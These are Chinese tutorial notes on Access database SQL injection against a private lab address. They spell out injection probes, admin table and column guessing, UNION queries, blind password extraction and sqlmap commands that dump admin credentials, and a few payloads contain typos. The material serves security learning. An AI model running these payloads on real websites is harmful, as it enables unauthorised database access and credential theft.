某教程学习笔记(一):07、数据库漏洞(access注入)

简介: 某教程学习笔记(一):07、数据库漏洞(access注入)

一、网站分类


1、静态网页


html或者htm是静态页面,不需要服务器解析其中的脚本


特点:不依赖数据库,灵活性差,制作、更新、维护麻烦,交互性差,功能受限制,安全,不存在数据库注入漏洞


2、动态页面


asp/aspx/php/jsp等,由相应的脚本引擎来解释执行


特点:以来数据库,灵活性好、交互性好、不安全,存在数据库注入漏洞


二、网站访问流程


0a2653c851af460fa595bd959398a8f1.png


三、漏洞产生原因


目标网址:www.aiyou.com/new.php?id=23


1、正常流程数据库返回给网站new页面id为23的信息


2、将参数值23修改为其他的sql语句


3、网站未对该指令进行检测


4、服务器执行了新的语句,并返回给网站


5、客户端根据返回的信息可以继续进一步注入


四、sql注入的危害


1、数据库信息泄露


2、网页被篡改


3、网页被挂马


4、数据库被恶意操作


5、服务器被远程控制


6、破快硬盘数据


五、access数据库


一般配合asp脚本使用,存储数据不能大于100M,只有一个数据库名称,可以创建多个表


1、数据库后缀:*.mdb


2、asp链接access数据库


<%
dimconn,connstr,db
db="Your.mdb"
Setconn= Server.CreateObject("ADODB.Connection")
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="& Server.MapPath(db)
conn.Openconnstr
%>


3、常用打开工具EasyAccess

0eacb84100b54626af849e6b562bf92a.png


4、漏洞判断


目标:http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513


判断注入点:


http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513/ 报错,可能存在注入

2d65d23f6d4748949b924e4057485923.png


http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1 返回正常


2e9b90b2ca334476abebe75bafe6eeaa.png

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and 1=2 返回错误 存在注入

4cebaac233b3433da32a72337a77fc60.png


http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exsits (select * from msysobjects) > 0 判断access数据库,根据错误提示在msysobjects上没有读取数据权限,说明表存在,从而知道是access数据库

6de278e6d6694ce5bb08e7e842b7e74b.png


5、查询access数据空中的表


http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select * from user) 根据错误判断除灭有user表

0a2653c851af460fa595bd959398a8f1.png


http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select * from admin) 正常返回,说明存在admin表

0eacb84100b54626af849e6b562bf92a.png


6、判断列名


http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select password from admin),正常返回,说明存在列名password


2d65d23f6d4748949b924e4057485923.png


常用用户名:name username user_name admin adminuser admin_user admin_username adminname


常用密码名:password pass userpass user_pass pwd userpwd adminpwd admin_pwd


7、判断表的列数


http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 order by 22 ,正常返回说明有22列,如果没有正常继续修改该数字


2e9b90b2ca334476abebe75bafe6eeaa.png


8、联合查询


http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin,知道admin表一共有22列,所以联合查询需要输入1-22,页面只显示3和15,可以修改该两列获取想要的数值


0a2653c851af460fa595bd959398a8f1.png


六、另一种方法判断:


1、http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and select len(password) from admin)=16 判断密码的长度,返回正常,说明密码长度为16。

0eacb84100b54626af849e6b562bf92a.png


2、 http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1)) from admin)=97 判断密码的第一位,返回正常,说明密码的第一位是a


2d65d23f6d4748949b924e4057485923.png

判断第二位,成功后修改该值,依次判断剩下的密码

2e9b90b2ca334476abebe75bafe6eeaa.png


七、sqlmap工具利用


目标地址:http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513


1、测试是否存在漏洞


sqlmap -u “http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513

0a2653c851af460fa595bd959398a8f1.png


2、获取表名


sqlmap -u “http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513” --tables

0eacb84100b54626af849e6b562bf92a.png


3、获取列名


sqlmap -u “http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513” --columns -T admin

2d65d23f6d4748949b924e4057485923.png


4、获取指定列的内容


sqlmap -u “http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513” -T admin -C admin,password --dump

2e9b90b2ca334476abebe75bafe6eeaa.png


禁止非法,后果自负

目录
相关文章
|
17天前
|
SQL 数据库连接 API
Perl 教程 之 Perl 数据库连接 7
Perl DBI教程讲解了如何连接数据库,它是与数据库交互的标准接口,提供平台无关的访问。支持事务处理,可通过设置`AutoCommit =&gt; 0`在连接时开始事务或使用`$dbh-&gt;begin_work()`。事务结束后,用`commit`提交或`rollback`回滚。完成工作后,用`$dbh-&gt;disconnect`断开连接。
18 1
|
17天前
|
SQL 数据库连接 API
Perl 教程 之 Perl 数据库连接 4
Perl的DBI模块提供数据库独立接口,用于连接和操作数据库。通过prepare()预处理SQL,execute()执行,finish()释放句柄,及commit()提交事务。
12 1
|
26天前
|
SQL 关系型数据库 MySQL
阿里云MySQL数据库价格、购买、创建账号密码和连接数据库教程
阿里云数据库使用指南:购买MySQL、SQL Server等RDS实例,选择配置和地区,完成支付。创建数据库和账号,设置权限。通过DMS登录数据库,使用账号密码访问。同地域VPC内的ECS需将IP加入白名单以实现内网连接。参考链接提供详细步骤。
366 3
|
15天前
|
弹性计算 关系型数据库 MySQL
阿里云数据库服务器价格表,数据库创建、连接和使用教程
阿里云数据库使用流程包括购买和管理。选择所需数据库类型如MySQL,完成实名认证后购买,配置CPU、内存和存储。确保数据库地域与ECS相同以允许内网连接。创建数据库和账号,设置权限。通过DMS登录数据库,使用账号密码连接。同一VPC内的ECS需添加至白名单以进行内网通信。参考官方文档进行详细操作。
76 3
|
18天前
|
SQL 关系型数据库 数据库连接
Perl 教程 之 Perl 数据库连接 1
Perl教程:使用DBI模块实现数据库连接,DBI是数据库独立接口,适用于Oracle、MySQL等。它定义通用方法,通过API处理SQL,分配给驱动执行。常用变量如$dsn(数据库源),$dbh(数据库句柄),$sth(语句句柄),返回值用$rc和$rv,查询结果存入@ary或(rows)。文件操作用$fh,属性用%\attr。
142 2
|
26天前
|
弹性计算 关系型数据库 MySQL
阿里云MySQL云数据库优惠价格、购买和使用教程分享!
阿里云数据库使用流程包括购买和管理。首先,选购支持MySQL、SQL Server、PostgreSQL等的RDS实例,如选择2核2GB的MySQL,设定地域和可用区。购买后,等待实例创建。接着,创建数据库和账号,设置DB名称、字符集及账号权限。最后,通过DMS登录数据库,填写账号和密码。若ECS在同一地域和VPC内,可内网连接,记得将ECS IP加入白名单。
419 2
|
27天前
|
SQL 关系型数据库 MySQL
阿里云mysql数据库价格购买和使用教程
阿里云数据库使用指南:购买MySQL、SQL Server等RDS实例,通过选择配置、地域和可用区完成购买。创建数据库和账号,分配权限。使用DMS登录数据库,进行管理操作。确保ECS与RDS在同一地域的VPC内,配置白名单实现内网连接。详细步骤见官方文档。
626 1
|
14天前
|
SQL 数据可视化 关系型数据库
轻松入门MySQL:深入探究MySQL的ER模型,数据库设计的利器与挑战(22)
轻松入门MySQL:深入探究MySQL的ER模型,数据库设计的利器与挑战(22)
|
14天前
|
存储 关系型数据库 MySQL
轻松入门MySQL:数据库设计之范式规范,优化企业管理系统效率(21)
轻松入门MySQL:数据库设计之范式规范,优化企业管理系统效率(21)
|
14天前
|
关系型数据库 MySQL 数据库
轻松入门MySQL:精准查询,巧用WHERE与HAVING,数据库查询如虎添翼(7)
轻松入门MySQL:精准查询,巧用WHERE与HAVING,数据库查询如虎添翼(7)